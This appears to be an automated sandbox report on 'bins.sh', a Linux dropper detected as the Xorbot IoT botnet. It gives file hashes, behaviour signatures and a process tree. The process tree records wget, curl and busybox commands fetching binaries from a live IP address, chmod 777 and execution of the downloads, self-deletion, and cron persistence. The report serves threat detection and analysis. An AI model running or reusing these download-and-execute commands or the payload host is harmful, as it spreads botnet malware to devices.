Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11/12/2024, 13:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    36919a182f443f4206a37203f13e5293

  • SHA1

    b572eec4875252ec165d92efa9c9b40355b1812c

  • SHA256

    aecb960f575b667757b6f5d9f6a660c1ed71478bc83f32f4b53fe8c9ffd8ade2

  • SHA512

    f4d9911ed7932fabcf0bef861bb72309ff52deddc97da5aff96dc45773bf9c01f9e5cf3ccf1bd73f3cdd1dd9e08942b28d03090af8713b3df29fe65ed42ec21f

  • SSDEEP

    192:TDuJqwwpI/00tsJWqLLefXU4nj747v+H11w9ZH00tsfLLYHU4Nj747vo11w9Z9yF:TDhWqLLefnVLLYWa

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1938) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1498
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1499
        • /usr/bin/wget
          wget http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Writes file to tmp directory
          PID:1500
        • /usr/bin/curl
          curl -O http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Writes file to tmp directory
          PID:1504
        • /bin/busybox
          /bin/busybox wget http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Writes file to tmp directory
          PID:1505
        • /bin/chmod
          chmod 777 xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • File and Directory Permissions Modification
          PID:1506
        • /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          ./xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Executes dropped EXE
          PID:1507
        • /bin/rm
          rm xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
            PID:1509
          • /usr/bin/wget
            wget http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • Writes file to tmp directory
            PID:1510
          • /usr/bin/curl
            curl -O http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • Writes file to tmp directory
            PID:1516
          • /bin/busybox
            /bin/busybox wget http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • Writes file to tmp directory
            PID:1520
          • /bin/chmod
            chmod 777 vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • File and Directory Permissions Modification
            PID:1521
          • /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            ./vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • Executes dropped EXE
            PID:1522
          • /bin/rm
            rm vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
              PID:1524
            • /usr/bin/wget
              wget http://37.44.238.68/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • Writes file to tmp directory
              PID:1525
            • /usr/bin/curl
              curl -O http://37.44.238.68/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • Writes file to tmp directory
              PID:1526
            • /bin/busybox
              /bin/busybox wget http://37.44.238.68/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • Writes file to tmp directory
              PID:1527
            • /bin/chmod
              chmod 777 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • File and Directory Permissions Modification
              PID:1528
            • /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              ./9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • Executes dropped EXE
              PID:1529
            • /bin/rm
              rm 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
                PID:1531
              • /usr/bin/wget
                wget http://37.44.238.68/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • Writes file to tmp directory
                PID:1532
              • /usr/bin/curl
                curl -O http://37.44.238.68/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • Writes file to tmp directory
                PID:1533
              • /bin/busybox
                /bin/busybox wget http://37.44.238.68/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • Writes file to tmp directory
                PID:1534
              • /bin/chmod
                chmod 777 qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • File and Directory Permissions Modification
                PID:1535
              • /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                ./qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:1536
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1538
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1539
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1540
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1541
                    • /bin/rm
                      rm qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                      2⤵
                        PID:1543
                      • /usr/bin/wget
                        wget http://37.44.238.68/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                        2⤵
                          PID:1546

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM

                        Filesize

                        117KB

                        MD5

                        849fa04ef88a8e8de32cb2e8538de5fe

                        SHA1

                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                        SHA256

                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                        SHA512

                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                      • /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N

                        Filesize

                        111KB

                        MD5

                        ca897a38f23ec23521ce0b1b83f8422d

                        SHA1

                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                        SHA256

                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                        SHA512

                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                      • /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83

                        Filesize

                        127KB

                        MD5

                        89077b7bd4bcafca7713be43635c4862

                        SHA1

                        fc02edb8fba29ea8ee99e6157ef8560334530052

                        SHA256

                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                        SHA512

                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                      • /var/spool/cron/crontabs/tmp.GEX8Iw

                        Filesize

                        210B

                        MD5

                        87dc912e41e5c487b24ded0ff76d6267

                        SHA1

                        71dcf6c1d688362517c8e32c9d3fa449d2a5d6a1

                        SHA256

                        cc0cd55efe8a3dc49ead2604d87eb11fdab413c2d7aa1395cc70dc13711cbf8d

                        SHA512

                        6c3f5b94994f1976de8cbe521dd0b2750eff052511410719e7284b212ac346b06535ba4c1e73f212aaa5ebbcc8168b669a47cfb5aef83cdea7a040135bd3b21f